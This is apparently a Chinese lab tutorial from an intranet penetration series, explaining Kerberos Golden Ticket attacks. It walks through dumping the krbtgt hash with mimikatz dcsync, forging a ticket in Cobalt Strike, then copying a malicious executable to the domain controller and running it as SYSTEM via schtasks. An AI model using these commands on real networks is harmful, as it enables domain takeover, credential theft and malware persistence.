系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
Golden Ticket黄金票据制作原理及利用方式
Krbtgt账户介绍
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
黄金票据原理
TGT是Krbtgt账户的NTLM Hash 加密
1、Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的 ,TGT它是由Krbtgt加密和签名的 ,krbtgt的NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。
2、所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。
3、Client与TGS的交互中,而已有了金票后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的NTLM Hash制作黄金票据伪造TGT,重新获取域控的管理权限。
我们在以去动物园为例,当我们去买票的时候,我么首先第一步是去身份认证管理员那里认证身份
实验内容
实验环境
实验前提
1、已经控制了域控并且使用域管理员登录或者已经提权到的system权限
2、如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪造TGT重新获得域控的权限
条件如下:
1、域的名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名 (获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
实验步骤
1、目前已经控制了域控和域内机器
2、获取关键信息
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域
得到域名为:hack.com SID为:S-1-5-21-3435113289-1855702322-4007071888
3、使用mimikatz导出KRBTGT账户的NTLM hash
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
得到krbtgt账户的NTLM hash值为:ccdaec0b013adf6d0032ffdd9141a768
4、这个时候突然域控下线了,管理员发现的你在控制,把后门清理了
5、因为之前已经记录了关键信息,我们现在就可以伪造任意用户访问域控,windows 2008机器必须是域内用户或者system用户
我们先要清楚机器内的票据,防止出现冲突,现在windows 2008机器内已经没有任何票据了,现在我们开始伪造票据
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
6、我们选择cs命令里的黄金票据进行票据的制作
7、填入我们之前收集到的信息
8、使用 dir 远程访问域控
shell dir \\dc.hack.com\c$
9、使用计划任务上线cs
1.exe在这里是我们生成的恶意软件
1、copy恶意文件到域控
shell copy C:\Users\jack\Desktop\1.exe \\dc.hack.com\c$
2、设置计划任务到域控
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f
shell schtasks /run /s dc.hack.com /tn "test"
域控重新上线